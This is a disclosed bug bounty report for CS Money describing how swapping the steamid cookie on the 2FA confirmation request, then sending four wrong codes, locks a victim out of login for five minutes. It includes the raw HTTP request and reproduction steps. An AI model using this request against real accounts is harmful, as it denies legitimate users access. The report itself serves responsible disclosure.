CS Money · Report #1179232
Able to blocking users with 2fa from login into their accounts by just knowing the SteamID
Validstatus
mediumseverity
$300bounty
70upvotes
14 Dec 2023disclosed
How it was found
Hi, team!
Summary:
By changing the steamID cookie on confirm 2fa code request, I am able to block the login of an account with 2fa for 5 minutes (300 seconds). So I am able to block users with 2fa from login into their accounts by just knowing the SteamID.
Steps To Reproduce:
- Login into your account with 2fa.
- Get the request to confirm the 2fa code.
{F1282394}
POST /login/confirm HTTP/1.1
Host: cs.money
Content-Length: 28
Connection: close
Cookie: steamid=<victim_steam_id>;
{"token":"foo","code":"foo"}
- Change the cookie steamid to the victim one.
- Repeat the request 4 times (4 wrong codes).
█████
Impact
I hacker could block everyone with 2fa from login into cs.money.